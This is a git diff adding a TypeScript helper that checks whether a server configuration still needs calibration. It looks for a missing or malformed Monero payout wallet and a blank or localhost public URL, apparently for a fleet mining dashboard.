server/web/src/help/setupStatus.ts
Normal file
@@ -0,0 +1,40 @@
|
||||
import type { ServerConfig } from '../types';
|
||||
import { looksLikeXMRWallet } from './forgeValidation';
|
||||
|
||||
export interface SetupStatus {
|
||||
needsCalibration: boolean;
|
||||
reasons: string[];
|
||||
}
|
||||
|
||||
function isBlankOrLocalPublicUrl(url: string | undefined): boolean {
|
||||
const u = (url ?? '').trim();
|
||||
if (!u) return true;
|
||||
try {
|
||||
const host = new URL(u).hostname.toLowerCase();
|
||||
return host === 'localhost' || host === '127.0.0.1' || host === '::1';
|
||||
} catch {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
/** True when wallet or LAN public URL still need Calibrate before forging. */
|
||||
export function getSetupStatus(config: ServerConfig | null | undefined): SetupStatus {
|
||||
if (!config) {
|
||||
return { needsCalibration: true, reasons: ['Server configuration not loaded'] };
|
||||
}
|
||||
const reasons: string[] = [];
|
||||
const wallet = config.wallet?.address?.trim() ?? '';
|
||||
if (!wallet) {
|
||||
reasons.push('Fleet payout wallet is empty');
|
||||
} else if (!looksLikeXMRWallet(wallet)) {
|
||||
reasons.push('Fleet payout wallet format looks invalid (expected Monero mainnet address)');
|
||||
}
|
||||
if (isBlankOrLocalPublicUrl(config.server?.public_url)) {
|
||||
reasons.push('Public URL is blank or localhost — set your LAN address in Calibrate');
|
||||
}
|
||||
return { needsCalibration: reasons.length > 0, reasons };
|
||||
}
|
||||
|
||||
export function isSetupComplete(config: ServerConfig | null | undefined): boolean {
|
||||
return !getSetupStatus(config).needsCalibration;
|
||||
}
|
||||
Reference in New Issue
Block a user